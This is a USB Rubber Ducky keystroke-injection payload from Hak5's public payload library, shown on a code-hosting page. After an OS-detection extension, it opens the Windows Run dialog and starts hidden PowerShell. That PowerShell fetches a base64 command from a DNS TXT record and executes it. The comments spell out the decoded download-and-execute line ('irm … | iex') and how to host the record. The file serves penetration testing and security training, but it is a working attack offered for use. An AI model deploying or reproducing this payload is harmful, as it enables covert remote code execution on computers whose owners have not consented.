Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/execution/DNS-TXT-CommandInjection/DNS-TXT-CommandInjection.txt
3018 views
1
EXTENSION PASSIVE_WINDOWS_DETECT

2
    REM VERSION 1.1

3
    REM AUTHOR: Korben

4


5
    REM_BLOCK DOCUMENTATION

6
        Windows fully passive OS Detection and passive Detect Ready

7
        Includes its own passive detect ready.

8
        Does not require additional extensions.

9


10
        USAGE:

11
            Extension runs inline (here)

12
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic

13
            boot delay

14
            $_OS will be set to WINDOWS or NOT_WINDOWS

15
            See end of payload for usage within payload

16
    END_REM

17


18
    REM CONFIGURATION:

19
    DEFINE #MAX_WAIT 150

20
    DEFINE #CHECK_INTERVAL 20

21
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2

22
    DEFINE #NOT_WINDOWS 7

23


24
    $_OS = #NOT_WINDOWS

25


26
    VAR $MAX_TRIES = #MAX_WAIT

27
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))

28
        DELAY #CHECK_INTERVAL

29
        $MAX_TRIES = ($MAX_TRIES - 1)

30
    END_WHILE

31
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN

32
        $_OS = WINDOWS

33
    END_IF

34


35
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION

36
        IF ($_OS == WINDOWS) THEN

37
            STRING HELLO WINDOWS!

38
        ELSE

39
            STRING HELLO WORLD!

40
        END_IF

41
    END_REM

42
END_EXTENSION

43


44
REM_BLOCK

45
Title: DNS-TXT-CommandInjection

46
CONFIGURATION

47
REQUIRED - Provide URL used for Example #MY_TARGET_URL

48
NOTES: No base64 can be used as an alternative by replacing "$a=",";powershell -e $a" with just "|iex"

49
for the STRING payload below. Examples of the decoded command and encoded command are shown below to put into DNS TXT record.

50
Decoded: "irm http://MY_TARGET_URL/T1.txt | iex"

51
Encoded: "aQByAG0AIABoAHQAdABwADoALwAvAGUAeABhAG0AcABsAGUALgBjAG8AbQAvAFQAMQAuAHQAeAB0ACAAfAAgAGkAZQB4AA=="

52
Create TXT record in AWS Route53

53
https://www.entrust.com/knowledgebase/ssl/how-to-create-a-txt-record-on-amazon-aws-route-53-for-entrust-email-validation-method

54
END_REM

55


56
DEFINE #MY_TARGET_URL example.com

57
GUI r

58
DELAY 500

59
STRINGLN powershell /w 1 $a=(resolve-dnsname #MY_TARGET_URL TXT).strings;powershell -e $a

60


61